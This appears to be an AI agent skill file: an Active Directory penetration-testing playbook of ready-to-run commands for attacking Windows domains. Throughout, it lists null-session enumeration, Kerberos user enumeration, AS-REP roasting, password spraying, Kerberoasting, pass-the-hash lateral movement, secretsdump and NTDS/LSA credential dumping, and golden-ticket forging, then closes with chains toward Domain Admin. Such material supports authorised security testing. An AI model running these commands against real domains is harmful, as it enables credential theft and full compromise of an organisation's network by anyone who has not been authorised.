| name | playbook-ad |
| description | Active Directory pentest playbook — Kerberos, LDAP, GPO, ADCS, delegation, lateral movement, DA paths. Load at the START of an AD engagement or when a Windows domain / DC is found. Triggers - domain controller, Kerberos 88, LDAP 389/636, domain SMB, BloodHound, kerberoast, AS-REP, NTLM, ESC1-8. |
Active Directory Pentest Playbook
Prerequisites
- Domain name, DC IPs
- Initial foothold or network access to AD environment
- Credentials (if provided for gray box)
Phase Flow
1. AD Enumeration (No Creds)
nmap -sV -p 88,389,636,445,3268,3269 <subnet>
dig SRV _ldap._tcp.dc._msdcs.<domain>
dig SRV _kerberos._tcp.<domain>
enum4linux-ng -A <dc_ip>
rpcclient -U '' -N <dc_ip> -c 'enumdomusers'
ldapsearch -x -H ldap://<dc_ip> -b "" -s base namingContexts
smbclient -N -L //<dc_ip>
crackmapexec smb <dc_ip> --shares -u '' -p ''
2. User Enumeration & Credential Attacks
kerbrute userenum -d <domain> --dc <dc_ip> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
impacket-GetNPUsers <domain>/ -no-pass -usersfile users.txt -dc-ip <dc_ip>
crackmapexec smb <dc_ip> -u users.txt -p 'Season2024!' --no-bruteforce
kerbrute passwordspray -d <domain> --dc <dc_ip> users.txt 'Password1!'
3. Authenticated Enumeration
bloodhound-python -u <user> -p '<pass>' -d <domain> -dc <dc_ip> -c all
ldapsearch -x -H ldap://<dc_ip> -D '<user>@<domain>' -w '<pass>' -b '<base_dn>' '(objectClass=user)' sAMAccountName memberOf
crackmapexec smb <dc_ip> -u <user> -p '<pass>' --gpp-passwords
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <dc_ip> -request
4. Privilege Escalation & Lateral Movement
crackmapexec smb <targets> -u <user> -H <ntlm_hash>
impacket-psexec -hashes :<ntlm_hash> <domain>/<user>@<target>
evil-winrm -i <target> -u <user> -H <ntlm_hash>
impacket-findDelegation <domain>/<user>:'<pass>' -dc-ip <dc_ip>
impacket-secretsdump <domain>/<user>:'<pass>'@<dc_ip>
5. Domain Dominance
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <sid> -domain <domain> Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass <domain>/Administrator@<dc_ip>
crackmapexec smb <dc_ip> -u admin -p '<pass>' --lsa
crackmapexec smb <dc_ip> -u admin -p '<pass>' --ntds
Key AD Attack Paths
- AS-REP Roast → crack hash → authenticated enum → Kerberoast → crack → DA
- Password spray → creds → BloodHound → ACL abuse path → DA
- Null session → user list → spray → delegation abuse → DA
- NTLM relay → local admin → credential dump → lateral movement → DA